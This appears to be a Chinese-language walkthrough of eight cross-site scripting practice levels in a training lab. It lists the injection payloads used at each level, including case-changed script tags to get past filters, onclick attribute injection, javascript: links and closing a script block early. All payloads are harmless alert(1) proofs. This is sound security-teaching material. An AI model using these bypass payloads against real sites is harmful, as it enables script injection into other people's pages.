第一关:反射型XSS(get)
XSS前提:
1.存在一个可以输入的地方
2.必须把输入的东西输出到页面上
随便输入一些东西,例如输入1
可以看到有返回
在输入代码时可能会长度受限,需要更改长度:
在页面中按F12,找到长度语句
修改长度
输入代码<script>alert(1)</script>
注:只能攻击一次
第二关:存储型XSS
输入代码<script>alert(1)</script>
存储型 XSS为持久化攻击,代码是存储在服务器中的数据库里
第三关:DOM型XSS
尝试输入1
点击
看代码在语句后方
输入‘1尝试
发现不跳转,说明已闭合
输入‘<script>alert(1)</script>没有反应
这是一个点击事件,输入'οnclick='alert(1)'
出现弹窗
第四关:XSS盲打
在第一个框中输入<script>alert(1)</script>,下一个框输入1
根据提示进入管理员页面登录,出现弹窗
、
第五关:XSS过滤
输入<script>alert(1)</script>
尝试输入<Script>alert(1)</Script>,出现弹窗
第六关:XSS之htmlspecialchars
输入<script>alert(1)</script>,发现还是点击事件
输入'οnclick='alert(1)',出现弹窗
第七关:XSS之href输出
输入<script>alert(1)</script>发现还是点击事件
输入'οnclick='alert(1)',发现被过滤
输入javascript:alert(1)
出现弹窗
第八关:XSS之js输出
输入什么都没反应,但是存在写入,发现是没有闭合
输入</script><script>alert(1)</script>
出现弹窗